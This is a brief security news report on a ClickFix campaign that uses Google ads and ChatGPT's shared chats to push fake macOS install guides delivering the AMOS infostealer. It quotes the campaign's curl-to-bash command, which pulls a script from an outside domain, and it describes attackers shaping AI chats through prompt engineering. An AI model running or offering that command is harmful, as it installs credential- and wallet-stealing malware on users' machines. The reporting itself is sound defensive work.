New ClickFix Attacks as macOS Infostealer Leverages Official ChatGPT Website by Piggybacking

A threat actor is using paid Google ads and ChatGPT's public chat-sharing feature to publish convincing fake installation guides on chatgpt.com that instruct macOS users to run a shell command (e.g. /bin/bash -c "$(curl -fsSL 'https://atlas-extension.com/gt')") which downloads and installs the AMOS infostealer; AMOS steals passwords, cookies, browser data, cryptocurrency wallet information, collects documents and installs a persistent backdoor. Kaspersky analysis found attackers used prompt engineering and chat history cleanup to make the shared chats appear legitimate.